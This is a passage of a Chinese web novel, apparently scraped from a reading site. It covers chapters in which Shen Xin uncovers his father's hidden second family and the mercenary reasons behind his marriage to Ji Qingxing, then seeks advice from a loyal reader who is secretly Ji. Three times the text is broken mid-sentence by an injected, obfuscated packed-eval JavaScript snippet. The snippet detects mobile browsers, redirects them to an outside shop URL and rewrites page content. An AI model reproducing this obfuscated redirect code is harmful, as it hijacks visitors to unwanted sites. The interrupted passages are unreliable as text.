“当时,我想收购你家生意的事在圈子里引起了震动,你爸找过不少人从中说和,我家的长辈,还有几个关系不错的其他长辈,都劝我不要把事情做得太绝,毕竟大家抬头不见低头见。你爸提出婚事以后,他们也劝我接受,说到底是对我更有利。” “只是这样?”沈昕一脸狐疑。 “嗯,他们说的的确有理,我毕竟年轻,全盘接手家里的生意也没多久,为了避免突然栽个大跟头,步子上、心态上都应该沉稳,多交朋友总好过多树敌。” “但你会因为这个就跟一个不认识的人结婚?”明明心里还有别人,结婚带来的利益也没有特别巨大。 “为什么不会?我对婚姻没有幻想,就算不跟你结婚,跟其他人结大约也是一样的理由,况且又不是不能离,做这个决定并不需要太过深思熟虑,而且……” 纪轻行又像那天闯入浴室时一样,用玩味的眼神上下扫过沈昕。 “你至少看起来挺顺眼。” 沈昕:…… 事情说完,二人都沉默了。 他们都打消了刚才的脾气,好像因为坦白了一切,就能够不再对对方抱有私人情绪。 纪轻行站起来去二楼。 他明白,现在需要给沈昕独自消化的时间和空间。 “纪总,我这两天可能要……离开一下。”沈昕突然叫住他。 纪轻行从楼梯上望下去,沈昕背对着他,看不到表情,声音尚算平静。 他只是他名义上的丈夫,面对这突如其来的打击,他帮不了他,只能顺其自然。 纪轻行继续上楼,也用非常平静的语气说:“行,你随意。” 沈昕整整一夜没睡。 躲在卧室,抱膝缩坐在床头,想了很多很多,从思绪混乱如麻到一点点理出线索,最终决定不给沈知易打电话确认,而是在清晨时出门,开车前往另一个城市容春。 他并不知道的是,那时纪轻行刚刚睡着。 没错,纪轻行也失眠了。 从前纪轻行失眠往往是因为工作,只要工作上的问题想通了、解决了,就能顺利睡去,但今夜的失眠毫无缘由,他按照旧经验爬起来梳理工作,却根本集中不了注意力,反而越来越烦躁,无奈之下只好躺回被窝打开手机,读了一夜沉心的小说。 这是唯一一剂能让他摆脱烦躁与压力,进入纯粹的精神世界的良药。 -< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320361|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 心里藏着事情,沈昕没吃早饭,驱车前往容春的途中想办法收集信息。 三个小时后,他到了容春郊区一处别墅小区外,观察了一会儿,又去周围转了转,确定了附近学校、医院、商业区的位置,接着回到小区外,找个了不太显眼的地方停好车,走进对面的咖啡厅。 坐在靠近门口,紧邻落地窗的位置,进出方便,一眼就能遍览小区大门处的情形。 他点了一杯咖啡、一份简餐,强迫自己吃了几口,只觉得食之无味,冰美式的苦涩在舌间徘徊,渐渐令味觉麻木。 身体与意识也跟着麻木。 原以为可以一边等待一边用手机写小说,现在才知道根本不行。 客观上,他需要紧盯对面小区的动向,不便分神,主观上,现在的他其实已经没有“精神”可言。 只是强撑罢了。 咖啡厅里客人寥寥,服务生在吧台做事,轻缓的白噪音伴随了沈昕大半个下午。 黄昏临近,融化了冰块的美式咖啡见底,餐盘里几乎没动的食物消退了色与香,一辆黑色SUV从对面街道远处驶来,沈昕精神一聚,起身快步离开咖啡厅。 吧台后,服务生过来收拾餐盘,无意间扭头,从落地窗望出去,正看见刚刚那位清瘦漂亮的客人张开双臂,拦在一辆车前。 服务生顿时惊了,定神一看,还好还好,那辆车因为到了小区门口,速度不快,这时停了下来,车里的人走出来,嘴上说着什么,表情动作没有丝毫愤怒,应该和那位客人认识。 服务生不再震惊,收回视线,继续收拾桌面。 隔着挺远,他只能看出那不是交通纠纷,却看不出车里下来的人脸色已经相当难看。 意外,尴尬,以及预料到即将发生什么,拼命遮掩也遮掩不住的…… 恐惧。 “昕昕,你怎么突、突然来这儿了?你不是……你爸爸他……” “梁叔叔。” 沈昕打断梁瑛的语无伦次。 他不带任何情绪地上下打量梁瑛,脸色也是在长辈面前从来没有过的冷漠。 梁瑛第一次从这个他一直看做小孩子的人身上感受到了压力,不由地后退一步,下意识拉了拉身上穿的宽松针织外套。 欲盖弥彰。 沈昕立刻盯住他的小腹,盯得他按在外套上的手微微发抖。 僵持中,车后座的门打开,一个小男孩儿走下来,拉住梁瑛的胳膊叫爸爸。 再平常不过的称呼却让梁瑛一个激灵,他偏过头,不敢再看沈昕。 沈昕也不再看他,转而看那男孩儿,脸型五官分明非常熟悉。 “几岁了?”沈昕攥着手指,压抑着情绪。 小男孩儿不知道该不该回答,仰头看梁瑛。 梁瑛只好答道:“十岁。” “十岁。”沈昕喃喃重复,“十年前……就是你和我爸结婚的那年,你们不是说……” “爸爸,这是谁?”小男孩儿稚嫩清脆的声音插话道。 梁瑛吸了口气,像是下定了决心面对这一切,说:“童童,这是你哥哥。” “哦?”小男孩儿顿时又恍然大悟又惊奇,“原来我不仅有弟弟,还有哥哥!但我怎么一直没见过哥哥?哥哥以前在哪儿啊?” 5. 打脸 总不能一直站在路上说话,梁瑛提议先回家,沈昕便上了他的车。 进小区、进地库,一路进家门,童童小声问:“爸爸,咱们今天不在外面玩吗?” “今天爸爸和哥哥有事情要聊,咱们就不玩了,你先写作业,写完得早,奖励你晚饭之后玩一会儿游戏或者看漫画好不好?” “好!” 童童很听话,也被教育得很有礼貌,到了家,脱鞋、脱外套、洗手不需要人叮嘱,都能自己做,进书房写作业之前还跟沈昕挥手,说:“哥哥待会儿见!” 沈昕“嗯”了一声。 看似平静。 但实际上,此时此刻的他,比昨天听纪轻行说出结婚真相的时候,更添了许多晴天霹雳。 梁瑛招呼他坐在客厅沙发上,端来不少吃的喝的,沈昕通通没动。 愣了一会儿,他听到厨房发出细微的声响,便问:“谁在厨房?” “做饭的阿姨。”梁瑛猜到了他的意思,说,“昕昕,你来了,你爸爸总要知道,很多事情我一个人也说不清楚,我现在叫他过来,咱们一起谈谈,好吗?” 这话没错,沈昕同意了。 梁瑛当着他的面给沈知易打电话,简单说了情况,沈昕没听到沈知易的反应,但能想到。 在梁瑛即将挂电话的时候,他突然说:“让他路上慢点儿。” 梁瑛一愣,眉头有些复杂地蹙了蹙,语气也复杂,对着电话说:“你听到了?慢慢开车,不要着急。” 二人坐着,无言片刻,沈昕突然又问:“几个月了?” 梁瑛再一愣,仍是不由自主地拉衣服遮掩。 平时回到家,他都会换上居家服,今天沈昕在,他没换,居家服轻薄的材质和舒适的款式很显肚子,他不好意思。 “五个多月。”他还是不敢直视沈昕。 “已经知道是男孩子了?” “嗯,私立医院可以告知。”梁瑛垂着眼睛,如芒在背,不知道沈昕问这些是单纯闲聊还是有别的想法,“昕昕,你……先坐,我去看看童童作业写得怎么样了,他们这个年纪,需要家长辅导。” “嗯。”沈昕淡淡地应了。 梁瑛离开时,余光扫过沈昕无可无不可的模样,这表现实在比生气发飙难处理得多。 六点钟左右,晚饭好了,梁瑛从书房出来叫沈昕吃饭,沈昕说没胃口,不想吃,梁瑛便跟他商量,让童童和做饭的阿姨先吃,他陪他等沈知易。 沈昕扫了一眼他的肚子,说:“你也去吃吧。” 梁瑛道:“没事儿,我不怎么饿。” 沈昕便没坚持。 坐在客厅,一眼就能看到餐厅的情况,童童日常习惯不错,吃饭很安静,梁瑛坐在他旁边,偶尔给他夹菜,提醒他不要只顾着吃一样。做饭阿姨坐在他们对面,全程低头不说话。 大概是因为有他这个生人在。 大概他们平时的氛围并没有这么拘谨。 “爸爸,你和哥哥怎么不吃饭?”快吃完的时候,童童扭头看向沈昕。 这个年龄的小孩子都很渴望和崇拜大朋友,如果家里有哥哥姐姐,那么哥哥姐姐在他们心里就是世界上最厉害的人。 他想和沈昕说话,想和他一起玩,他觉得哥哥打游戏肯定特别强! “爸爸和哥哥都不饿,待会儿再吃。” “哦,待会儿老爸也要回来是不是?你刚刚跟他打电话了。” “嗯。” 沈昕敏锐地捕捉到了这个细节—— 梁瑛当着他的面在客厅给沈知易打电话时,童童在书房听不见,说明他去书房后又打了一次。 他们在那通电话里说了什么?只是联络一下,还是统一口径? 事实摆在眼前,又有什么说辞可以将它改变? 晚饭后,阿姨收拾桌面,去厨房做清洁,沈昕惊讶地发现,童童居然会跟着打下手,虽然只是递盘子、摆放椅子、按按开关之类很小很小的劳动,但他全程都在,自发自如的态度和做事时跟阿姨聊天的内容也可见,他早已习惯了这么做。 沈昕更加惊讶地意识到,沈知易和梁瑛把这个才十岁的孩子教育得非常好。 反观自己呢? 从小到大,沈知易放任他做一切想做的事,给他的物质生活亦是养尊处优。 他一直以为那是家人爱他的表现,他一直非常感恩这份堪称无原则的爱,并以拥有这样的爱而自信、自豪。 但是现在,看着童童,他突然动摇了。 他好像终于拨开层层迷雾,戳破美妙的幻象,清醒地看到了一些真实的东西。 如果他没有选择去国外独立生活五年多,如果他没有坚持写作,如果他一直懵懂地接受着父亲的给予,那么现在的他,是不是就会被驯化成…… 废物? 就像纪轻行说的那样,绣花枕头,草包一个。 做完这些,童童继续回去写作业,阿姨告辞离开,正巧沈知易进门,二人打了个招呼。 语气非常熟识。 所以这里才是沈知易的家吧。 而那个在锦安,一直以来沈昕所以为的家,即便妈妈生病去世,梁瑛来了,但依然令他感到温暖的家,不过是楚门的世界罢了。 沈知易与沈昕目光交汇,瞬间低下头去,尴尬比先前的梁瑛只多不少,坐在沙发上好半天都不说话。 梁瑛坐得与沈知易隔了些距离,沈昕则坐在二人对面。 他们都不愿挑起话头,那就自己来吧。 “爸爸,我记得我知道你和梁叔叔在一起的时候就问过你们,是不是会再生一个孩子,你们当时说不会。” “爸爸和梁叔叔是担心你不开心,所以才……” “可我当时也明确说过,我不会不开心。相反,妈妈不在了,爸爸从悲伤中走出来,有了新的喜欢的人,我觉得很开心,我为你们结婚而高兴,你们想生孩子当然可以生,我记得的,我的的确确这样说过。” “但你那时毕竟还小,处于青春期,很不成熟,我们怕影响你的情绪,进而影响你的成长!我们终归是为你好!” “是啊,我那时也这么想。因为你和梁叔叔说,你们已经有了我,不需要再有别的孩子,我就是最宝贵的,你们还说,能走到结婚这一步不容易,你们非常感恩,不求更多,只求咱们三个一起幸福地生活。” 沈昕顿住,脸上露出了一丝浅而复杂的笑意。 “这话我信了,这么多年来深信不疑……算算时间,童童其实是你们结婚前,甚至是梁叔叔出现在我面前之前就生了的,就这样,你们还能跟我说那些话,瞒着我这么多年,在我面前……演戏这么多年,你们……”沈昕的表情有些控制不住,“为什么?到底是为什么呢?怕我不开心、为我好这种借口太拙劣了,如果今天不是我来了,亲眼看到了,你们还会继续骗我,打算骗到什么时候?是不是只有到了我已经被彻底扫地出门,连蒙在鼓里都没必要的时候,你们才会……” “昕昕!”沈知易羞愤交加,可现在的他没有发脾气的底气,顿了半晌,转而问道,“你今天怎么会突然来这儿?我听你梁叔叔说,是在路边和你碰上的,你……” “你在套我的话吗?不用心存侥幸,我什么都知道了。”沈昕冷冷地戳穿,瞥了一眼梁瑛,冷笑,“和纪轻行订婚的时候,双方家长见面,你说梁叔叔老家有事走不开,不能参加订婚宴,我还挺遗憾的,原来只是怕我看见。” 沈知易和梁瑛的表情雪上加霜。 沈昕又说:“纪轻行跟我说了结婚的真正原因,我本来想给你打电话求证,转念一想,电话里你要糊弄我非常容易……” “爸爸什么时候……糊弄过你?!” “难道不是一直?”沈昕匪夷所思,“我以前百分之二百地信任你,你说的所有事情我都不会多想一丁点儿,更谈不上查证,但这不代表我没有这种能力。所以我只要稍微认真地想一想,就能想到梁叔叔多半不是有事回了老家。过去那么多年,你无意间提起最多的地方就是容春,容春也是距离梁叔叔老家最近最大的城市,离锦安也不远。我毕竟还是你的儿子,只要愿意,查到你其他房产的地址不是难事。今天上午到了这里,为了避免继续被骗,我没有联系梁叔叔,也没有询问安保,就坐在对面的咖啡厅,看到梁叔叔开车出来去了学校的方向,等他回来我再过去。这样你们无论如何也不能否认。我也很意外,怎么真相竟然跟我猜的一模一样呢?甚至我还猜少了,你们居然马上要有第二个孩子了。” 他平静地说完,客厅陷入沉寂。 片刻后,他又像是死神,毫不留情地再次开口审判。 “这还不是最让我震惊的,最让我震惊的,是你们居然会想出用我向纪轻行换取资金的办法,这太荒谬了,之所以瞒着我,是因为你们自己也觉得荒谬,觉得理亏是吗?这件事情,你们两个之中如果有任何一个人不同意,甚至哪怕只是觉得不妥,觉得犹豫,它就不可能被促成,也就是说,它最终成了,一定是因为你们两个人都觉得很好,都主动推进,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320362|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起穷思竭虑地说服纪轻行和他的长辈,你们两个人一起这样谋划我……” “昕昕!”沈知易更加大声,更加羞愤。 他那个从小到大非常听话非常乖巧的儿子此时言语犹如利器,杀了人还要鞭尸,仿佛突然变了个人。 这令他无比意外。 是的,过去的很多次,每每当他决定要瞒着沈昕的时候,虽然也有愧疚,却从不曾担忧后果。 怎么可能有后果?他对沈昕明明已经很好了。 想到这里,一直被沈昕压制的沈知易恼羞成怒。 “昕昕,你跟长辈说话就是这种态度吗?我理解你的心情,一直容忍你,你却得寸进尺……你以前明明是个好孩子,现在这是怎么了?” “的确,爸爸让你跟纪轻行结婚的初衷是不太好,瞒着你也不好,但是家里已经走投无路,爸爸实在没办法了!” “家里已经走投无路了,可爸爸从没跟你说过,从没给过你压力,你在国外逍遥自在,你知道爸爸和你梁叔叔每天要想多少事情、做多少事情,你知道我们为了这个家拼过多少次命吗?你梁叔叔还怀着孕……但是你呢?从小到大,这个家为你带来了多少?你又为这个家付出过多少?” 沈昕吸了口气:“我不是不想付出,而是从来没有机会,爸爸你一向只是跟我说让我顾好自己……” “所以爸爸是爱你的!你还不明白吗?!” “是吗?”沈昕声音带颤,手指也发抖。 沈知易缓了缓,语气稍平静了:“和你梁叔叔有孩子,只是因为一开始不知道该怎么跟你说,耽搁了,后来就越来越觉得没有合适的时机。让你跟纪轻行结婚,的的确确是别无他法,爸爸实在不想把自己几十年的心血拱手送人!昕昕,你从小锦衣玉食,没吃过一天苦,不都是因为爸爸有这份事业吗?爸爸也从没逼你做过任何一件事,这是唯一一次,你就当是……回报爸爸,行不行呢?而且、而且就连结婚爸爸也没想过逼你,如果不是你自己愿意,爸爸难道还能绑着你去领证?再说了,和纪轻行结婚有什么不好?他的家庭、事业、个人条件,样样配得上你,就算没有咱们家里的事情,你和他结婚,爸爸也是非常乐意的。” 一股脑说完,沈知易用手抹了把脸。 “昕昕,你现在……想怎么样呢?想让爸爸和梁叔叔跟你道歉?是,瞒了你这么久,我们不对,我们可以道歉,除此之外,你、你还有什么……” 还有什么? 沈昕也这样问自己。 乍听之下,沈知易说的好像很有道理,话里话外甚至满是委屈,好像他就是个只知享乐的不孝子。 但事实上呢? 十多年了,他生活在他们编织的巨大谎言中,难道因为谎言听起来足够漂亮就可以被认为是对的吗? 十多年了,他对他们付出了全部的信任、感恩与爱,收获的却是不断被边缘化,最终成为工具人的结局,这些难道仅仅是因为不好开口吗? 他不相信。 沈知易的声讨,不过是因为无从回答他的质问,只能站上身为父亲的道德高点绑架他罢了。 这时二楼传来声响,童童从楼梯拐弯处冒了个脑袋。 几人看过去,梁瑛说:“大人的事情还没谈完,你先进屋。” “我就是想看看老爸回来了没有。”童童小声而充满期待地说,“还想问一下,哥哥是我的亲哥哥还是亲戚家的哥哥?” 几人一愣。 沈昕心想,他大约不知道沈知易之前还有过一段婚姻。 沈知易沉着脸色,半晌后说:“他是老爸的孩子,当然是你的亲哥哥。” “哦!”童童露出开心的表情,转身跑回二楼,“我作业写完了,去打一会儿游戏!” 沈昕却冷笑,站起来说:“我走了。” 沈知易和梁瑛又一愣,梁瑛看看沈知易,试图缓和气氛:“咱们都还没吃饭,先吃饭吧,这么晚了,昕昕你还要回锦安吗?不如留下住……” “不必。吃饭也不必了,我现在吃不下。”沈昕干脆地说完,径直走向门口。 “昕昕。”沈知易叫住他,“你现在是回……跟纪轻行的新房?” 沈昕回过头来,定定地看着他:“你又在试探我?你其实是想知道我会不会跟纪轻行离婚,对吗?” “昕昕!” “我可以告诉你。”沈昕直截了当地说,“我现在还没有想好,我要仔细地想一想,你今天说的话不会动摇我,这个婚离与不离,我只问我自己的心。” 6. 沉心找他?! 沈昕没有回锦安。 沈知易和梁瑛这里不是他的家,难道纪轻行那里就是了吗? 他找了家酒店住下,坐在房间里发呆,感觉胃不太舒服。 几乎一天一夜没吃东西,心情也是从未经历过的复杂,现在仅仅是胃不舒服,实在算轻的。 换个承受能力差一点儿,或是比较情绪化的人,很难说会有什么后果。 所以,沈知易,他的亲生父亲,竟然就这样轻飘飘地放他走了,临走时也只是关心纪轻行的资金能不能顺利到位。 难道就不怕他想不开出事吗? 沈昕坐在床边,手指攥住床单。 胃不舒服,也没有精力洗澡,哪怕直接躺下睡觉都很难做到。 他整个人像被冻结了,没办法行动一步。 不知过了多久,纪轻行打来电话。 他名义上的丈夫。 他“名义”上的家的救命稻草。 沈昕忍着烦躁接起来。 “喂。” 那边没说话。 沈昕把手机拿开看了一眼,提高嗓音道:“喂。” “啊,是你啊。”纪轻行懒懒的声音传过来,“抱歉,打错电话了。” “那我挂了。” “哎——错都错了,就将错就错聊几句,你现在在哪儿呢?” “酒店。” “酒店?” “容春的酒店。” “容春?你怎么跑容春去了?” “我爸他们在这边。” “你们……都在酒店?还是你一个人……” “没别的事我挂了。”沈昕打断他,把手机扔到一边,用手按住额头,突然一愣。 他突然觉得,纪轻行可能不是打错电话,而是真地找他,想确认他是不是……平安? 并非自作多情,先前纪轻行在他洗澡和睡觉的时候两次破门而入,说是洗澡时间太久,睡觉一直不起,怕他出事。他当时以为那是纪总发神经的借口,现在想来却很可能是真的—— 纪轻行以为他知道他们为什么结婚。 婚后他一直不配合。 纪轻行就会觉得他是被家里逼迫的。 说难听点儿,等同于“卖身”。 一时想不通自残也是有的。 他是真地怕他出事。 包括今天。 借口打错电话,大约是觉得不便问他家的私事,也或许是受限于总裁包袱—— 霸道地推进收购也好,答应以人换钱的婚事也好,堂堂纪总有且仅有冷酷的事业心,怎么可能对他人产生担忧和怜悯? 终于,沈昕向后倒了下去。 柔软的大床包裹住他,一旦堕入就不想起来,不想走出去,更不想面对。 可他不能永远住在酒店里。 离开之后,又该去哪儿呢? - 纪轻行靠在自家天台栏杆上,点起一支烟,懒懒地夹在指尖。 听电话里沈昕的语气,应该是跟沈知易确认过了,以他那个又单纯又较真的性格,下一步恐怕就是…… 离婚。 哎。 这才结了半个月。 倒不是说不能离,他不留恋,也不在意别人的眼光,只是觉得烦。 不在意,却必须体体面面地去处理、解释,来回折腾半天,却什么都没获得。 非常烦。 但沈昕有离婚的自由。 纪轻行烦躁地吐出烟圈。 打开阅读软件,沉心还没有更新,一向勤奋守时的作者最近连连请假,不知道是写作状态不好,还是被生活绊住了。 他当然知道每个人都有自己的困境,他看到的沉心只是沉心的一个狭窄片面,可由于长年的钦佩欣赏,即便成熟如他,也会偶尔冒出幼稚的想法—— 像沉心那样有才华,做着热爱的事情,做得非常成功,拥有无数成绩和赞美的人,也会有烦恼吗? 这时,阅读软件的独特气泡音响起。 纪轻行点开通知红点,蹙眉。 是软件的私人交流板块。 他一向只看书,从没用过这个功能,这个软件上会有谁找他呢?他…… 心倏而绷紧,眼睛也有点儿花。 居然是…… 沉心找他?! 亲自、本人找?! 不会吧…… 按理说,他作为沉心的“榜一大哥”,获得私下联系的机会看似不难,譬如很多作者都与所谓的“大粉”、“后援会会长”有联系,但沉心没有。 沉心非常低调,从来只做写书这一件事,这也是他欣赏沉心的地方。 他时常打赏也并非想借此谋求什么,只是单纯地表达喜欢和共鸣。 所以,这突如其来的一下实在令他很懵。 定睛看去,沉心发了四句话—— [你好。] [谢谢你一直以来的支持。] [我因为临时有事,答应的加更福利没能按时兑现,实在抱歉。] [我会补上的,只是暂时无法承诺具体的时间,还是非常抱歉。] 纪轻行恍然大悟。 不愧是认真写作的沉老师。 [没有关系!沉老师先忙生活上的事,千万不要有压力。] [我会耐心等待的,好饭从来不怕晚。] [辛苦沉老师专门发消息给我,受宠若惊!] [祝愿老师生活顺利,未来有更好的作品!] 即便遭受重创,身心都已麻木,但看到这样的回复,沈昕还是笑了。 这是他现在唯一可以停靠、可以感受到温暖的地方。 所以即使觉得私下联系读者不太妥当,但在这个非常特殊的时候,在他非常脆弱的时候,他还是选择了这么做。 他也已经走投无路,没办法了。 那样的事,生活中有谁可以诉说? 更重要的是,这位读者一直以来展现出的成熟与睿智,令他想要求助。 与一个陌生而理性的人聊一聊,应该能帮他梳理思绪,从而做出正确的决定。 这位读者的内心博大、深邃、通透,表达挥洒自如,又已经结婚了,或许并不该称之为“女孩子”。 “大姐姐”才对。 在心里描摹着“大姐姐”的形象,沈昕继续打字—— [谢谢你的祝福。] [再打扰你一会儿,有个关于情节的问题想要请教。] 毕竟是素未谋面的读者,又是第一次私聊,他隐去了真实的情况。 很快,对面发来一串震惊的感叹号。 [!!!!!!] [受宠若惊!太受宠若惊了!我何德何能!] 沈昕又笑起来。 [你太谦虚了,其实你的评论经常给我启发,所以这次才想请教你。] 考虑了一下,加了一句烟雾弹。 [也是想多问几个人,看看不同的人面对同一种情况会有怎样的反应。] [沉老师好细!好认真!] 对面不吝赞美。 [老师请说!请教实在不敢,我尽力说自己的想法就是了。] [老师的作品才是一直一直给我启发,给我触动和震撼,给我一成不变的生活增添了趣味和色彩!] 好一顿“初见”的礼貌拉扯。 终于,沈昕进入正题。 [有一件事,主观上不想做,非常抵触,但客观分析应该这么做。如果是你,你会怎么处理这种情况?] [我会把它当成工作。] 沈昕一愣,下意识回道:[什么?] [沉老师,冒昧一问,您除了写作,有其他工作吗?] [没有,是全职作者。] [在此之前呢?] [一直是全职作者。你们知道的,连跟写作相关的事务,比如版权合作,我也是交由编辑去谈,线上线下各种活动能让编辑代理的就让编辑代理,不能的我都拒绝,相当于除了“写字儿”本身,什么工作都没做过。] [这就是了,所以老师您不熟悉,情感上非常抵触,理性上却应该做,很多人的工作就是这样。而且我的习惯是,一旦当成工作,就可以减轻甚至消除抵触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320363|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。] 沈昕:!!! 对的。 跟“她”聊一聊果然是对的。 一个从未想过的思路,一下就冲开了他混乱不堪的情绪。 从自己的角度看,哪怕不知真相的时候,他也不认为他和纪轻行是正常夫夫。本来就是一场工具式婚姻,现在不过是换了个理由; 从纪轻行的角度看,那家伙觉得这样的婚姻非常正常。 也就是说,他和纪轻行之间完全不存在问题。 问题只在于他能否接受“被家人处置”的命运。 这一点他从理论上想清楚了,“沉老师的狗”又给了他切实可行的操作方法,那么一切就都解决了。 沈昕长出口气。 [有道理,谢谢你,我明白了。] [不好意思突然打扰你。] [也祝你生活愉快,家庭幸福。] 回复完毕,沈昕去浴室洗了澡,上床睡觉。 虽然睡得不算安稳,但也足以面对今后的生活。 他真地非常感谢那位一直支持他的读者。 “沉老师的狗”。 第一次看到这个昵称的时候,他正在喝水,差点儿喷出来。 有点想让对方改掉,毕竟这太直白了,但转念一想,他又有什么资格对别人指手画脚? 也许别人只是一时兴起,第二天就会改叫“X老师的猫”,而且这种昵称多是戏谑玩梗,没必要自作多情地上纲上线。 所以最终他什么都没说。 直到现在,四五年了,“沉老师的狗”依旧是“沉老师的狗”。 第二天一早,沈昕开车回锦安。 回到婚房,空无一人,纪轻行上班去了。 他给纪轻行发了条信息,然后钻进书房调整状态写稿,争取多写一些,尽量把前两天缺的补上。 习惯性地把防蓝光平镜拿出来,要戴的时候一顿,捏着镜架看了片刻,最后扔到一边。 坐在电脑前整整一天,中午照旧是简单地冲碗麦片啃个餐包,晚上纪轻行进家门的时候,他刚好把修改完的一万字新章发出去。 整个人都松了口气。 在椅子里瘫了一会儿,他站起来伸了个懒腰,重振精神,准备出去面对他名义上的丈夫。 楼梯下到一半就看见他那名义上的丈夫虽然回来了,但居然没换衣裳,穿着全套西装坐在沙发上,聚精会神地看手机。 又在工作? 沈昕站在楼梯上,试探道:“纪总?” “等一会儿。”纪轻行并不看他。 行吧。 纪总工作第一。 只是这“一会儿”有些长,纪轻行看着手机,时而蹙眉,时而偏开视线,像在思考,时而表情柔和,微微含笑。 沈昕:? 工作的时候情绪这么丰富吗? 难怪能把事业搞好。 纪轻行一时结束不了,沈昕索性原地坐在楼梯上。 又过了一会儿,在他听不到的书房里,手机接收到了一条打赏通知,与此同时,纪轻行放下手机,向楼梯这边赏了个眼神。 “找我有事?” “嗯。”沈昕站了起来。 “稍等一下。”纪轻行也站起来,开始洗手换衣服等一系列行动。 又过了十分钟,两人终于能面对面说话了。 “纪总。” “这么生分啊。” 与“工作”时不同,纪轻行恢复了吊儿郎当的样子。 沈昕努力忍住自己的白眼。 “纪轻行。” “嗯,怎么?” “我跟我爸确认过了,也想好了,我会继续履行你和他的协议。” 纪轻行没说话,半晌无可无不可地笑了,拖着腔调说:“什么呀,我还以为你这种倔脾气,回来就会跟我闹离婚呢。” 接着又突然变得严肃,一时竟然充满了压迫感。 “你真地跟你爸把全部细节都确认过了?彻底想好了?我警告你,我纪轻行不是好惹的,这次不抓住机会,下次再想反悔闹离婚,绝没那么容易。” 7. 绣花枕头实锤 纪总看着挺凶的。 但沈昕没有被威慑到。 他针对纪轻行的话,同样非常有针对性地问:“一切细节?比如?” 纪轻行定定地看着他,犹豫片刻,选择了说。 “你爸不只有你一个儿子,你知道吗?” “知道。”沈昕说着一愣,“你是什么时候知道的?” 如果连纪轻行都比他早知道,那也太…… 好在纪轻行说:“就这两天,专门查了一下。没想到啊,我这亲家还怪能藏的。” 沈昕:…… “除了你,你爸还有两个孩子,都是你那个梁叔叔的,没生的这个暂且不提,只说老二,已经十岁了,听说又聪明又懂事。这些通通瞒着你,你知道意味着什么吗?” 沈昕有过猜测。 他不想直接说,而是想从纪轻行这里印证一下。 于是道:“请教。” “话不好听,你做好心理准备。”纪轻行措了下辞,“你爸和你那个梁叔叔恐怕是为了把你从你家的生意里分离出去,给以后老二继承家业铺路。据我了解,他们从来没让你接触过家里的生意,也没培养过你这方面的才能,美其名曰不给你压力,让你想做什么就做什么,可以说是长年谋划。这次连我都被算计了。拿你换我的资金,度过眼前的危机,给老二收渔人之利。” 果然。 果然纪轻行也这么想。 纪轻行是商人,连他也这么想,说明自己没有猜错。 昨天当着沈知易和梁瑛的面,他没把这些挑明,因为他已经看到了他们的态度。 他对纪轻行说:“这些我想到了,都想到了。” “那你还回来?”纪轻行挺意外。 “我爸生我养我,给了我优渥的生活,让我得以毫无负担地做一切想做的事。不论原因是什么,这的确是事实。所以我愿意回来,以此报偿我爸的养育之恩。唯一的、最后的一次,不附加任何情绪,仅此而已。” 纪轻行蹙眉想了想,道:“不行,那我真成冤大头了。” 沈昕语出惊人道:“你可以把我家的生意抢过来。” 纪轻行一愣:“为了你?” “为了你自己,就像最开始计划收购那样,商业行为。我爸现在这么做,也不过是博弈,就看你们俩谁更厉害。” “可我为什么非要入局呢?” “你已经入局了,现在退出,不觉得没面子吗?” “我不在乎那种东西,既然是商业行为,就只看利益。”纪轻行看向沈昕,琢磨道,“你到底是想报答养育之恩,还是想报复?” 沈昕没说话。 片刻后他垂下眼帘,声音很低:“我的确是想报答养育之恩。” “但如果顺道也能报复一下更好。”纪轻行戳穿。 沈昕摇头:“我现在还没有想到那么深。” 纪轻行饶有兴致地笑了:“那咱俩就都再好好地考虑考虑,究竟是及时终止婚姻关系,还是……更进一步?” “更进一步”四字拖着调子,语气意味深长。 只是此时的沈昕没心思品味。 “好吧,再考虑。主要是你考虑,我……不会有变化了。” “倒是呢,毕竟不管是报恩还是报复,又或者报恩加报复,你都离不了你老公我。” 沈昕:………… 纪轻行说来劲了,变本加厉地油腔滑调:“放心吧,你老公我会很认真、很认真地考虑,争取让你满意。” 沈昕转身就走。 “等等,老公给你提个建议。”纪轻行叫住他,语气稍稍正经,用词却还是放纵。 “什么?”沈昕侧身停下,满脸写着“我忍”。 “你爸和你那个梁叔叔敢这么拿捏你,根本原因是觉得你没什么本事,拿捏了也就拿捏了。所以你难道没想过真正独立起来吗?从找个工作开始,我可以帮你介绍。” 突然之间,沈昕居然有一点点感动。 这些话从来没人跟他说过。 虽然他并不需要。 因为他已经很独立了,只是周围的人都不知道,不怪他们,是他自己选择了不说,写作这样的职业,多多少少和别的职业不同。 “谢谢你。”沈昕认真地说,“不过先不用了。” 